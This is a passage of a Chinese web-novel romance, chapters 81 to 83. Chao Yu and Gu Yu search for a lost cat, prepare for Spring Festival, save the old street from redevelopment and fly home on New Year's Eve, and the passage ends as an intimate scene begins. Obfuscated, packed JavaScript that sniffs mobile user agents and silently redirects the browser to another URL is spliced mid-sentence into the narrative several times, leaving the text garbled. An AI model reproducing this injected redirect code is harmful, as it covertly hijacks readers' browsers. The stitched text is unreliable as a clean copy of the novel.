d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222902|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些,似能听见自己脚步的回声。 晁雨一个人走到街尾,站在小卖部门前推了推,那门果然紧紧闩着。 晁雨在附近灌木里找了一圈,想张口喊,才发现这么多年,耳背的唐爷爷也没给猫取个名字。 晁雨来来回回找了许久,一无所获,那猫不知跑哪去了。 她一个人默默过了马路,又觉得不想回家,便在马路牙子上蹲下,双手抱着膝盖,望着马路对面门比墙面更漆红的小卖部。 月光洒落在上面。 她掏出手机拍了张照片,给晁二柱发了张照片。 不叫擎天柱偏叫大黄蜂:[怎么了姐?] 冷冷冰雨:[唐爷爷的小卖部关了。] 晁二柱好半天没回。过了会儿,发来张自己的照片。 不叫擎天柱偏叫大黄蜂:[姐,你看我这身西服去见客户还行么?] 直接略过了小卖部关掉的话题。 晁雨回他一条:[行行行,一代颜霸就是你。] 把手机锁屏扔回兜里,又双手抱膝、愣愣望着街对面的小卖部。 这不是什么惊天动地的大事。可人生的很多离散大抵如此,落在心里,是一种钝钝的酸胀。 一阵脚步声传来。 晁雨扭头看过去,一个清瘦高挑的年轻男人,穿一件开襟的大衣,被路灯模糊成一个剪影。 直到这人走到她面前,是辜屿。 晁雨先是咧嘴笑了笑:“怎么提前回来了?” “工作完成了,就提前两天。”辜屿问她:“蹲在这里干嘛?” “小卖部关了。猫跑了。”她尽量用轻描淡写的语气。 她不想自己显得太过脆弱而矫情。毕竟,这是一种连晁二柱都理解不了的情绪。 辜屿对她伸出一只手。 晁雨怔了怔:“干嘛?” 辜屿淡淡地说:“我们去找猫。” “我刚刚找过了。” “那就再找。”辜屿的语气仍是淡。 两人一起过了马路,灌木丛里静悄悄的。就算拨开来看,也没任何留下猫爪留下的痕迹。 昏黄路灯下,晁雨望一眼辜屿的侧影,突然想起海滩那夜,她弄丢了许辰懿送她的手链。 辜屿也是这样,勾腰找了半夜。 他知道找不到。 但他仍会去找。 灯光化作暖暖一团,堵在晁雨喉头。她叫他的名字:“辜屿。” 辜屿直起腰看过来,晁雨目光温软地望着他。 他问:“怎么了?” 晁雨多看他两秒,方才摇头:“没怎么,你手机借我一下。” 说着对他摊开一只手。 辜屿把手机递过去,直接报上密码:“010101。” 晁雨:…… 她问辜屿:“你这样的密码,也太容易被人猜出来了吧?” 辜屿:“你来改。” 晁雨轻掖一下唇角,低头。她的老人机不好上网,于是拿辜屿的手机搜索:[剪刀大法]。 以前大学的时候她就听室友说,猫丢了用“剪刀大法”很灵。 网上有详细教程。晁雨悄悄溜回家,找了一只碗、一把剪刀,又溜出来,在路边水龙头接了水。 她蹲下身,把装满清水的碗放在门前隐蔽处,一边仰头跟辜屿解释:“本来应该放在灶台上的,但这是小卖部,也没灶啊。” 她按网上说的,把剪刀平放在碗上,剪刀口打开,朝着门的方向。 嘴里叫:“喵喵,咪咪,哞哞……” 辜屿实在忍不住:“猫会哞哞叫么?” 晁雨:“万一呢。” 她拍拍手站起来:“走吧,说找到猫以前都不能移动,等着吧。” 她和辜屿一同往家的方向走,灯光点落在她睫上。 辜屿看她一眼,什么都没说,伸手在她后脑勺揉了一把。 她抬眸看向辜屿,便是在那一瞬间,她知道她那股连晁二柱都不能理解的情绪,被辜屿接住了。 她绽开点浅笑,吸一口冷空气:“快过年了。” 辜屿点点头:“是,快过年了。” 这将是辜屿在洵州过的第一个春节。 接下来,冬去春来、莺飞草长。 再然后,便是炽热的、却温柔的、记忆里的夏天。 81. 后来10 春节将至,许辰懿应酬的饭局格外多。 喝多了就给晁雨打电话,从小学时打过架的男生开始讲起,末了道:“我忘了提醒你一件很重要的事。” “什么?” “你问过辜屿弟弟有多少资产么?” “……我问这干嘛?” 许辰懿痛心疾首:“我就知道你傻!虽然你不贪他的钱,但你心里得有数啊。不然就辜屿弟弟那智商,你能玩得过他?” “不至于,不至于。”晁雨没告诉许辰懿,辜屿手机的密码是[010101]。 没准这人连银行卡的密码都是[010101]。 许辰懿不满地将声音拉高八度:“不听姐们儿劝是不是?姐们儿在甲方奶奶的圈子里,听多少八卦啊!有你后悔的时候!” - 辜屿回洵州过年,毛秀珍一定是最高兴的人之一。 她终于不用在晁家蹭年过了,腰板儿都挺直不少。 周末难得天晴,她坐在小院里择豇豆,拖了晁雨陪她。 辜屿在房里翻棋谱。 毛秀珍看一眼辜屿房间虚掩的门,鬼鬼祟祟地压低声:“我问你……” “你正常说话。”晁雨:“他一般看棋谱时都塞着耳机呢。” “哦。”毛秀珍恢复正常音量:“你知道他有多少钱么?” 晁雨心想:这倒巧了。 怎么一个两个都来问她这个。 她老实说:“不知道。” “你得问呀!”毛秀珍一拍大腿:“不都说男人有钱就变坏吗?他还那么年轻,有钱成那样,我怕他走邪路!” “不是有钱就变坏了、是坏人变有钱了。”晁雨择着豇豆不甚在意:“就像不是老人变坏了、是坏人变老了,一个道理。” 豇豆晒到干,保存的时间能久点。 除此之外,老街里也挂上了腊肠、酱鸭、鱼干。这就意味着,春节真要到了。 木安老街是洵州的文物保护建筑,每逢春节,老旧的木制建筑上齐齐整整贴满春联,很有记忆中的年味。 洵州的领导们每年来送春联,找洵州知名书法家写了模子、印刷出来。只不过春联纸上,往往还有哪家银行、哪家超市赞助的Logo,不大好看。 人们多是不肯用的。 这一传统却被保留了下来,领导们带着喜气洋洋的春联,却见葛洁愁眉不展,连带着来做客的毛秀珍也唉声叹气。 “怎么了这是?” “也不知明年,还能不能在这老房子里过年了。”葛洁抚一抚官帽椅旁的长桌:“你看这里有个缺,是小雨小时候撞的。啊哟她撞上来的时候我吓死了,想不到这小孩头蛮硬的哦,她头没事,反而把桌沿撞缺了一块。” “领导。”毛秀珍从来不管来的是哪位领导,统称为领导:“这条街咱就不能商量商量,不搞什么房地产开发吗?” 领导刚要说话,葛洁发现茶没了。 扬声叫天井里的晁雨:“小雨,添点茶来。” 晁雨正在天井里跟辜屿说话呢。 辜屿问晁雨:“你不问我有多少钱?” “你听到毛奶奶的话啦?”晁雨手里把玩着桂树旁摆着的兰花,这要是晁正声看见了,又要来打她手。晁雨道:“你有是你有,我问这干嘛。” 辜屿暂且没说话。晁雨一听葛洁叫她,扬声先答了句:“来了。” 她走进去,知道葛洁和毛秀珍明里暗里在打听拆迁的事。 她做成了劝宁塔的方案,觉得杜昱德和明恒宇有可能因此放弃改造项目,但这也说不准。 她琢磨着这些一边添茶,一边听来送春联的领导问她:“你要搞房地产开发?” “什么?”晁雨懵了。 “你要在木安老街搞房地产开发?” 晁雨一脸懵,葛洁和毛秀珍对视一眼,也是搞不清状况。 晁雨反问:“我搞什么房地产开发?” “那你是希望木安街保持原状咯?” “那当然。” “那不就结了?”领导一拍巴掌,看向葛洁和毛秀珍:“那你们安安心心住着不就好了?” “到底什么意思?”葛洁问。 领导终于意识到:“怎么你们还不知道吗?” “之前有开发商想在这里开发房地产,后来合同被以更高的价格收购。收购的人说了,这项目以后归晁雨女士负责。” 又半开玩笑问晁雨:“你是叫晁雨,没错吧,女士?” 一屋子人懵得说不出话。 “也就是说,如果晁雨希望这里维持原状,这里将永远维持原状。” 晁雨是最先反应过来的一个,她三两步跨出堂屋,辜屿还插着口袋站在晁二柱卧室的门前,微一仰首,望着尚缀绿意的枝头跳跃的鸟。 晁雨问:“是你吗?” 辜屿眼眸缓缓垂下来,也没否认:“是。” 晁雨没忍住在他胳膊上猛拍了下:“那是多大一笔钱啊?” 辜屿捉住她手腕。 只说了一句:“这里也是我家。” - 这份震撼一直到晚上还没消褪。 晁雨实在没忍住,给许辰懿打了个电话,把这事说了。 许辰懿万千感慨在胸中奔涌,最后只剩两个字:“卧,槽。” “你现在是真富婆啊!我还管什么甲方奶奶,就你了姐们儿,金大腿伸出来给我抱一抱!” 两人却都知道这是玩笑话。 晁雨永远都不会将这笔巨款变现。 她会守在这里,守着她的老宅、桂花树和劝宁塔,让她自己和她所有在意的人们,有可回去的家乡。 葛洁也陷在这样巨大的震撼里,直到第二天吃早饭时,才说了句:“感情不是这样靠钱砸的呀。” “知道。”晁雨道:“他也没那个意思。” 葛洁虽然松了口,对她和辜屿的事,态度始终不咸不淡。 好在不久,晁二柱就放假回家、来替她分散火力了。 晁正声喜爱侍弄花草,常年勾着腰,导致腰不大好。晁二柱回来,家里就有了可供差遣的重劳力。 葛洁指挥他爬高上低,归置了不少东西。 晁雨乐得清闲,躲在一旁跟许辰懿打视频。 许辰懿抻着懒腰:“可算放假了,年前差点没给我累掉一层皮。” 晁雨:“你今年在哪过年?” 说这话的时候,正好晁二柱扛着卷地毯、从她身后路过,摄像头里映出他的身影。 许辰懿有一瞬微妙的沉默,如果不是知道内情的人,决计察觉不到。 晁雨微妙地感到,晁二柱也往这边看了一眼。 许辰懿调出轻松语气:“今年不用管许强了,也不用回东北了。我跟两个妹妹说好,接她们来北京过年。” “明年,我大妹妹就要高考了,她想考来北京。我小妹妹也就还有两年,要不是我办不下北京户口……嗨,不说这些,总之,我们都会离开那里。” 许辰懿看起来喜气洋洋,笑得那般妩媚,却像个扛住一切的女英雄。 有一瞬晁雨想冲动地说:“来洵州过年吧。” 可这话她暂且忍了忍,毕竟还没跟葛洁商量过。 葛洁最近一个头两个大,女儿的感情不听她劝,儿子也是犟得出她意料。 尽管晁二柱回家后,一句关于许辰懿的话也没提,只据实以告自己在北京发展得很好,葛洁却完全知道他是为什么。 想不到,这时正在堂屋里插梅枝的葛洁,主动叫了声:“辰辰。” 这一声叫得许辰懿眼泪都快下来了。 “哎,阿姨。” “不是跟你说过,叫你来洵州过年吗?忘记啦?”葛洁弯了弯笑眼:“把你两个妹妹一起带来,反正你在这里也住熟了呀,跟我家囡囡一样的。” “囡囡”是洵州方言里对女儿的称呼。 许辰懿听葛洁提起晁雨,就总说“我家囡囡”。 “阿姨。”许辰懿觉得自己太过爱哭,这会儿眼眶也热热的,好在视频里不显:“我爸那事总归影响……” “我晓得的呀。”葛洁说:“你不要怕哦,阿姨也不怕的,你就带两个妹妹来过年。” 许辰懿敛住眼泪:“好。” 二十八,贴年画。 毛秀珍往年是不在自家小院忙活的,这一年因为辜屿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233007|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的归来,她兴头很高,拉着晁雨剪年画。 辜屿也难得陪坐在一旁。 毛秀珍自信满满地表示:“我也跟你学这么久画啦,还剪不好一张年画吗?” 晁雨刚想说这不是一回事,她已操着剪刀咔咔剪了起来。 往晁雨面前一亮:“看!” “嘶……”晁雨心想,大过年贴个土豆算怎么个寓意? 来年丰衣足食? 又看辜屿罕见地在一旁摸起了剪刀。 晁雨赶忙问:“你在剪什么?” 辜屿这边的成功率应该高多了吧。毕竟他一双手长得那样漂亮,衔子的时候禁欲又骨感,就连现在拿起一把铜剪刀,也像是件艺术品。 辜屿垂眸看了眼自己的作品,又默默放到一旁:“没什么。” 晁雨凑过去看:“你也剪个土豆干嘛?” 辜屿:“……” 晁雨:“你到底剪的什么?” 辜屿不说话,晁雨就去呵他的痒。辜屿不怕痒,但受不了晁雨这样闹,握住她手腕。 毛秀珍在一旁:“哎哟喂,我还喘气呢。” 辜屿捏着晁雨的手腕:“你。” “我什么?”晁雨没明白。 反应了两秒,才明白辜屿的意思是——刚刚他剪的那土豆,是她。 晁雨:…… 辜屿默默拿过那张贴纸,准备扔进垃圾桶。晁雨拉住他手:“别扔。” 毛秀珍举着自己的贴纸炫耀:“小雨你到底看出来没?我这剪的是我宝贝大外孙。” 得,凑一对土豆小人。 晁雨又拉辜屿去集市另买了些年画,辜屿蒙上口罩,握着她手揣在自己大衣口袋,和她一起走在南方湿寒的空气里。 熙来攘往的热闹街市,那人间的烟火气就往他身上挂住那么一点点,令他素来冷峻的眉眼有了些松动。 晁雨和辜屿回到毛家小院,把年画贴好,连同那对土豆小人。 至于晁家这边,葛洁素来手巧又麻利,晁雨是插不上手的。 许辰懿也是这天到的。 带着她的两个妹妹,大包小包不知拎着多少年货。 晁雨都吓了一跳:“这么多!” 许辰懿只说:“不多,不多。” 她斩断了自己的劣根,恨不得把想象里无处付诸的给家人的爱,全都给晁雨的家人。 许辰懿的两个妹妹,跟她长得一样大气明艳,只不过性格完全不同,内向又乖巧。 葛洁按照北方习俗,带她们去包饺子。 先包一轮备上,年三十那天再包一轮。 葛洁十分喜欢许辰懿的两个妹妹:“别看小雨现在这样,小时候也是个皮的。我从来没带过这么乖的囡囡。” 人一多,和饺子馅也是个体力活。葛洁调好了味道,让晁二柱来和馅。 即便厨房大,陡然涌进这么多人也是挤的。晁二柱一直没怎么说话,只和完馅去洗手时,擦过许辰懿身边:“不好意思。 许辰懿顿了顿:“没事。” 晚上,晁雨带许辰懿和两个妹妹去买烟花。许辰懿挺开心:“我就喜欢放炮!” 从前过年像过劫,这好像是她记事以来,第一个真正轻松的春节。 一直到晚上,晁雨借口给毛秀珍送东西,去毛家小院找辜屿。 热闹了整天,辜屿房间的静成为一种反向的充盈,撑得心里涨鼓鼓的。 这几天准备过年,家里乱糟糟堆不下,剪窗花的剪刀和红纸,被毛秀珍收到了辜屿房里。 晁雨倚在桌沿,顺手拿起剪刀和红纸。剪了两刀,才发现脑中根本没想好剪什么,不成章法。 剪了一半,遂又放下。 老房子里没暖气,冬日里不像北方窗户上结一层雾,玻璃冻出一种透亮,透过半掩的窗帘,能清晰看到小院里的木爬架。 晁雨一手支在书桌上,望向窗外:“快过年了。” 她扭回头来,笑眼弯弯地看着辜屿:“你有什么愿望?” 辜屿走到窗前,明明那窗玻璃已够透亮了,他却依然伸出细瘦的手指擦了下。第一次的,他好像想把这世界看得更清楚似的:“过年那天再告诉你。” 82. 后来11 晁雨连自己最爱口味的瓜子和花生都备好了,却没等到在洵州过年的机会。 陈凌娟教授给她打电话:“我一位欧洲同事来中国了,如果你以后想深入研究中国古建筑,她能给你提供不一样的视角。” “外国人不过春节,她只待春节这几天。你要来么?” 晁雨一咬牙:“来。” 这位欧洲专家晁雨听说过,研究罗马建筑出身,后来对中国古建筑产生了浓厚兴趣,这样的背景导致她有不少独到见解。 晁雨把这事跟葛洁说了,生怕葛洁会反对。 想不到葛洁一边包着芥菜肉末馅的春卷,连头都没抬:“行,去吧,有辰辰陪着我呢。” 晁雨:??? 到底谁是亲生的? 高铁票已经买不到了,机票相对好买些。 晁雨走得急,辜屿在开棋室的线上会,许辰懿开晁二柱的五菱宏光送晁雨:“你们家是有什么能量守恒的磁场吗?来了一个女儿,就得折出去一个女儿。” 晁雨斜眼看她:“你别得意啊。” 许辰懿幸灾乐祸地握着方向盘:“你放心,我肯定好好陪咱妈。” 晁雨飞到了北京,许辰懿给了她钥匙,她直接过去落脚。 本可以住辜屿家,但那里太大了、也太空了,尤其是在春节这种阖家团圆的日子,总显得不聚人气。 晁雨是年二十九到的,到了之后立即去找陈凌娟教授,旁听她们的学术会。 一直忙到年三十下午,本来要请欧洲专家吃顿中国传统的年夜饭,但专家肠胃不适闹肚子,这顿饭只好作罢。 参会的北京本地人很开心,赶回家陪家人团年。 陈教授也有个侄女在北京,开着她的复古莲花跑车离开时,降下车窗问晁雨:“一起去我家?” 晁雨笑着摇摇头:“不了。” 明天上午休息半天,下午开始一直到初二,还有学术演讲与讨论,所以除夕只好留在北京了。 她坐地铁回许辰懿家。 一路上的人,倒比她想象得多些。北京便是这样一座城市,包容所有的梦想,也包容所有的失落。 晁雨从地铁站出来,走路回家时,看到小区附近的那家二十四小时便利店还开着。 就是之前葛洁生日、她在这里买过一个小蛋糕的便利店。 她走进去,门前感应器叮咚一声,响起“欢迎光临”的欢快乐曲。 晁雨走到冷冻柜前,本想买包速冻饺子,看到蒸柜里有一份蒸好的,又改了主意,直接打包一份。 拎着饺子回家,玄关处换下高跟鞋时,双脚有种置于云端的感觉。 她可真不适应穿高跟鞋。 许辰懿给晁雨发微信。 Cici:[鞋柜最上面一层,有瓶皮埃尔·若侬的圣约瑟夫,你拿出来喝了吧。] 冷冷冰雨:[……你把酒藏鞋柜里干嘛?] 冷冷冰雨:[不怕串味啊?] Cici:[那么贵的酒呢!] Cici:[万一被偷了怎么办!我不得藏好点!] 晁雨打开鞋柜,终于在犄角旮旯找到这瓶红酒。 还好,放在一个独立暗柜里,黑色瓶身蒙厚厚一层灰。 晁雨记得这瓶酒。 那时她还在北京,许辰懿赚得还没后来那么多。她们俩职场菜鸟,每天受了打压就回家互相蛐蛐。 亚轩当时有一客户,给员工开放一个买皮埃尔·若侬限量版好酒的机会。 那酒贵得跟金子一样,大多是总监级以上管理层在买,想不到许辰懿也报名填购买单。 晁雨悄悄给她发消息:[你加班加疯了吧?] 后来许辰懿说,她是加班加疯了。 她就是想,有一天她觉得自己在北京坚持不下去的时候,喝上这么一口酒,再给自己充充电,说这样的好东西,你总有一天轻轻松松就能买得起。 晁雨把那瓶酒给许辰懿放回去,手指意外在暗柜里触到一张略有棱角的纸片。 她掏出来,愣了一下。 发现那是一张贺卡。 她动手拂了拂,才发现那不是酒瓶一样的灰,而是纸张随贺卡染上的黄。已经过时的贺卡,有些花里胡哨,封面上一只猫和一只兔子,洒着点点金粉。 打开来,她和许辰懿分别写着两行字。 那是她们初入职场的第二年,有一个项目可能需要过年留在北京跟,资深同事不愿接手,甩到她们这里。 她们做好了在北京过年的准备,买了些速冻饺子和半成品菜,还在超市买了张贺卡,那时候连两张贺卡都舍不得买,就买一张。 愿望都写在一张上,就当送给自己的礼物了。 许辰懿写:[告别过去。] 晁雨写:[自由自在。] 那时候晁雨年轻,想法也简单,在洵州那样的小城困守多年,过年还要受家人亲戚的噜嗦唠叨,她只恨不得逃得越远越好。 后来发现,自由是一个相对概念。 进了职场,也要揣测客户心意、瞻观领导脸色,被生活按在地上摩擦几道,什么少年心气都没了,无论什么性格的人,都学着缩手缩脚、学着圆滑通融。 到这时,晁雨又觉得回到家乡小城、做自己真正想做的设计,哪怕赚得少些,也是一种自由。 就像以前觉得不在家过年自由。 现在真要她一个人在北京过年,又有些想念被唠叨的滋味。 许辰懿给晁雨发来一张照片,是葛洁在炸熏鱼。 许辰懿问:[你年夜饭准备吃什么?] 晁雨本可以点一顿外卖,对自己好些。但就她一个人,懒得折腾,许辰懿的那瓶酒也舍不得喝。 她是南方人,本没有吃饺子的习惯,是跟许辰懿一起养成的。 在家从不看春晚,这会儿却把电视打开。 盘腿坐在茶几前的地毯上,拿了双筷子,对着刚刚打包回来的饺子。 没什么胃口。 突地有人敲门。 晁雨微一怔,先是警惕了下——这老小区治安并不算多好。 走到门前,防盗门上没猫眼。 她猜测是不是辜屿给她安排了什么餐食,比如食仙儿——据说食仙儿的年夜饭订购爆满。 但万一是其他什么人,她不想被人听到一个年轻女人的声音,想了想,先给辜屿打了个电话。 辜屿接了,说:“开门。” 晁雨又一怔,门外隐隐的说话声和手机里形成回响。晁雨下意识伸手拉开门,辜屿站在门外。 拢着件黑色长款大衣,内搭一件黑T,没围巾,露出冷白脖颈。 外面下雪了,辜屿身上带着幽寒的气息。 晁雨愣愣问:“你怎么来了?” 辜屿:“来带你回家。” 晁雨愣了。 辜屿直接牵过她手。 晁雨几乎是在一片愣怔中,摘下挂在玄关的羽绒服,跟辜屿一同下楼。 她还穿着白日参会的职业套装没换,这时穿着运动鞋、套件长款羽绒服。 除夕夜里值机的人不多,直到坐进商务舱,晁雨还没回过神来。 窗外的雪纷扬下着,不大,却密。飞机在停机坪等候指令,也不知何时能够起飞,晁雨透过舷窗,望着窗外的夜色。 辜屿在一旁说:“没关系。” “嗯?”晁雨扭过头来看他。 他的表情是素来的沉淡,但他说:“不管怎么样都可以回家。” 他会想各种办法。 晁雨转回头,继续看着窗外。她的轮廓半映在舷窗上,再用力看一些,辜屿的一点身形透进来,窗外的夜开始变得模糊。 她探出指尖,点在两人轮廓交叠的那一线上。 机长收到塔台指令,飞机开始在跑道上缓缓滑行。 晁雨心里还是那四个字:少年意气。 无论怎样用冷沉掩去周身的锋芒,他才二十多岁,一生中最好的年纪,天赋光芒万丈,世界在他脚底让路,他没经过生活的搓磨,也不知退让为何物。 他站在那里,肩背永远笔挺。 他不考虑现实,也不考虑麻烦、曲折、性价比。在他的世界里,想赢的就去赢,想做的就去做。 他不觉得今晚回洵州、明早再赶回北京这件事有多折腾。 只要他想。 只要晁雨想。 飞机轰鸣着振翅腾空的时候,晁雨胳膊上起了细密的鸡皮疙瘩。 一直到飞机落地,北方雪色变作南方湿寒。辜屿已安排好了车,两人从机场出发,一路往洵州方向开。 高速路边可以望见城镇,偶有烟花升腾而起。 晁雨问:“你困吗?” 辜屿摇摇头,瘦长的手指搭在方向盘上,注视着前方弯折的路。 第几次了呢。 深夜开在这条路上。 到了洵州新城,先是一片连天的热闹。开进老城区的木安街,又陡然安静下来,老人们总归没有年轻人闹腾,各自在家团聚,守着一盆炭火。 要钻过晁家老宅的木门,才忽而一下又有喧闹的人声传来。 毛秀珍好像在和许辰懿打牌,连呼喝喝地要把刚出的一把顺子收回去,许辰懿尖着嗓子说她耍赖。 晁雨的心情,就在这由闹转静、又由静转闹的氛围里,跟着转了几转。 站在天井里,莫名生出种类似种“近乡情怯”的情绪,一时没往堂屋里进。 倒是辜屿先踏进去。 毛秀珍脸上贴着打扑克的卫生纸条,仰起脸来看他:“二狗子你终于忙完工作了?年夜饭都没赶上。快来,你葛阿姨做蛋饺呢。” 做蛋饺是晁家每年过年的传统。 每年吃完年夜饭后,其他人坐在堂屋里围着炭盆,葛洁则会在旁边另起个小煤球炉子,搬个小板凳,一只长柄的铝制汤勺,用筷子拈一小块猪油擦上去,再倒些提前打好的蛋液。 汤勺娴熟地转一圈,一张蛋饺皮便做好了。 每年除夕夜,葛洁一边听家人闲话,一边守着煤炉做上好多蛋饺。过年家里来客了,可以蒸来吃。 晁雨往堂屋里进的时候,葛洁正在同他们说:“小雨和二柱子小时候,我一做蛋饺,他们俩就跑来蹲在炉子前面,我要是做坏一张,就扔给他们吃掉。” 后来,晁雨和晁二柱渐渐长大,也就不蹲在小煤炉前了。 葛洁由人家的媳妇,渐渐成了当家的主妇。做蛋饺的手艺越来越娴熟,也很少有做坏的蛋饺皮了。 现在她讲起那些往事,语气里不是没有一点点的落寞。 这时辜屿对着天井里说:“进来。” 葛洁怔了怔。 晁雨踏进堂屋的时候,不知怎的生出些不好意思,头微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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放下做蛋饺的长柄勺,站起来:“我去给你热八宝饭。” 葛洁做八宝饭也是一绝。 红枣和豆沙打底,糯米整整齐齐地码上去,也不知是不是加了干桂花的缘故,入口总觉得比别家香甜些。 葛洁拿小碗蒸了,又另切些酱鸭,配刚做好的新鲜蛋饺。 晁雨伸手去接。 “你坐小板凳上吃饭呀?”葛洁白她一眼:“坐没坐相。” 她把跟晁正声聊天的晁二柱赶到一边去,把一堆吃食放到长桌上,叫晁雨:“来这边坐着吃。” 长桌另一侧的官帽椅上,坐的便是辜屿,此时把手机收起来。 晁雨过去坐下,悄悄给辜屿递个眼神。 葛洁给她一双筷子,又把另双筷子递给辜屿。 哟,备了两双筷子。 葛洁走开继续去做蛋饺。晁雨执着筷子,跟辜屿说:“你吃了我妈做的八宝饭,肯定觉得甜死。” 辜屿夹了一筷喂进嘴:“是太甜。” 然后又夹了一筷。 等两人吃完,收了碗筷,便要跨年了。 晁雨叫许辰懿:“别打牌了,放烟花去。” “不去。”许辰懿说着自己爱放炮,此时脸上贴着卫生纸条却头也不回:“我忙着打江山呢,你自己去吧。” 晁雨去堆放在门口的烟花里选了选,回头看辜屿一眼。 辜屿站起来,跟晁雨往天井里走。 两人站在屋檐下,一个转角加一面木墙,足够把除夕的热闹隔在屋内。 天井里很静,静得黑暗变成一颗颗浮尘,不发光的萤火虫般萦绕在两人身旁。 晁雨把烟花放在天井地上,一边掏火柴,一边想起来跟辜屿说:“你记得七夕那天,我们去一家小店里买烟花,结果受潮了没放成。” 说着伸手一指:“这些也是在那家店里买的,如果运气不好又受了潮,那也放不成。” 辜屿上前:“我来点吧。” “不,还是我来。” 她划火柴点燃引线,和辜屿两人退到屋檐下。 这一次没有意外。升腾而起的烟火,把两人晃动的影子一同投在木墙。 晁雨问辜屿:“所以你的新年愿望,到底是什么?” 辜屿:“你呢?” “我啊……”晁雨笑了笑。她也不是爱许愿的年纪了,只是忽然想起许辰懿藏住的那张贺卡,便道:“自由自在。” 辜屿点头:“那就自由自在。” 晁雨一怔:“什么意思?” 辜屿:“我是个没有愿望的人。” 他从来是个没愿望的人。他只想赢,可赢不是愿望,是手段、是争夺、是一步步一场场的杀伐果决。 “很无趣对吧?”辜屿沉黑的双眸看向晁雨:“所以借你一个愿望,我来帮你实现。” 愿你不被生活搓磨。愿你不至疲懒怠惰。 愿你永远有那样的心气。 去折腾,去奔忙。去见想见的人,去做想做的梦。 辜屿垂下眼,拇指压着食指轻捏了捏。 他并非真的神明,只是一把妖刀。 他并非万能,可他所要的也并不多。他对世界大多冷漠,守得一人是一人。 愿他每一次出鞘的时候,能让她多一点自由自在。 83. 后来12 洵州的春节,是要整夜守岁的。 晁雨站在天井里给九叔打电话:“我妈做了蛋饺,我给你送点过来。” 无非是不想九叔一个人过年。 “你可千万别来。”九叔粗着嗓子嚷:“我不在家。” 他那边有呼啸的风声,还有隐隐的撞钟声传来。 晁雨疑惑问:“你在哪?” “我干嘛要告诉你?”九叔哼哼两声:“我还不能有点自己的秘密啦?” 晁雨收起手机,想起陈凌娟讲的、有关祝境鹤的往事。 九叔会在这阖家团圆的日子里,穿上当年的那双布鞋,不知又走到哪座闲山野川,去看看自己当年勘察过、测量过、修复过的古建筑么? 堂屋里,许辰懿已经趴在桌上睡着了。 她是嚷嚷守岁最凶的一个,却又是睡得最快的一个。 晁雨对辜屿咬耳朵:“来我房间。” 人人各有各忙。葛洁在和毛秀珍聊天,晁二柱陪晁正声喝酒,许辰懿的两个妹妹躲到一旁追剧。 晁雨和辜屿难得成了两个闲人。 一同上了楼,走到晁雨房门口。 边上摆一条长几,墙面的老木料颜色很深,长几上由晁正声摆着盆水仙,应和着墙面所挂一幅以梅花和水仙为题的“双清图”。 是仿作,却也是清代的老东西,有“众芳摇落独暄研”的意味在。 晁正声把女儿看得贵重,所以从房间外开始精心布置。辜屿甚至记得那幅裱画翘起的一小角,记得水仙盆上一处不规则的瓷纹,记得长几上剥脱了漆的一小块。 他不知多少次站在长廊里,看其他男孩闹哄哄地涌进晁雨房里去,剩他独自站在这里,看着挂画、水仙和长几。 夏天几度,直到他长成翩翩少年,晁雨离开了洵州,那扇窄窄的木门便落了锁。 晁雨叫辜屿:“进来啊。” 辜屿这才踏进去。 晁雨坐在床畔笑他,勾在足尖的拖鞋一晃一晃:“不用这么紧张。我妈要是真反对你,绝不给你吃什么八宝饭。” 辜屿摇摇头:“不是这个。” 他的视线在房间里一一扫过。 “对了……”晁雨意识到:“这好像是你第二次进我房间吧?就只有送奶茶那次你进来过。” 她用棉拖鞋的鞋尖,轻轻去勾辜屿的小腿,软声问:“怎么从来不进来呢?” 辜屿发现很难描述自己的想法。 淡淡的眼神扫过房内,看一眼墙上贴的古建筑海报,木制床头所雕的八仙献寿图,床头柜上放着面霜和指甲油,衣柜边一张木圈椅也是有年头的东西,此时很随意搭着晁雨在家穿的几件袄子。 他的目光并不流畅,扫到每一处,便顿滞一下。 晁雨:“我房间平时不是这么乱的啊。” 其实辜屿不是在看这个。 他只是在核对。 那次送奶茶,他和晁雨不算熟,不好打量这间房,只是眼神匆匆瞥过。 现在他只是确认,这间房和他一年年夏天躺在马路对面、所想象的是不是一样。 是一样的。 辜屿不说话,气氛就有几分暧昧。晁雨莫名有点紧张,随手捏了把木梳在手里,对着发尾梳两梳。 她总用茉莉味洗发水,久而久之,那香味跟浸进发丝里似的,一梳开,飘出满房的清香。 辜屿走过来,手探进她的长发间,揉一揉她耳垂。 辜屿说:“像朝圣。” 他的意思是,他从不进晁雨的房间,因为这件事对他像朝圣。像一个暗处的人往光里走,不是不想,是不敢。 因为知道自己是什么样的品性,总觉得走进这间房来都于心有愧。 他所做的,只是一个人躺在马路对面的房间里辗转,一遍遍幻想这房间是什么样子。 晁雨把木梳放回床头柜上,仰起面孔看辜屿:“那你……想破戒吗?” 人人道辜屿是禁欲天花板,近妖似佛,总之一副脱离了七情六欲的冷淡模样。 晁雨拉着他倒在自己雕花的小床上:“我刚刚锁门了。” 她还穿着紧身毛衣,贴着她白而纤的颈。她带着他的手往下探索,毛衣下摆贴得也紧,裹着她纤纤的腰。 他的大衣搭在床角,垂落的T恤领口露出锁骨形状。晁雨记得网上有人说,辜屿的喉结和锁骨是他最性感的地方。 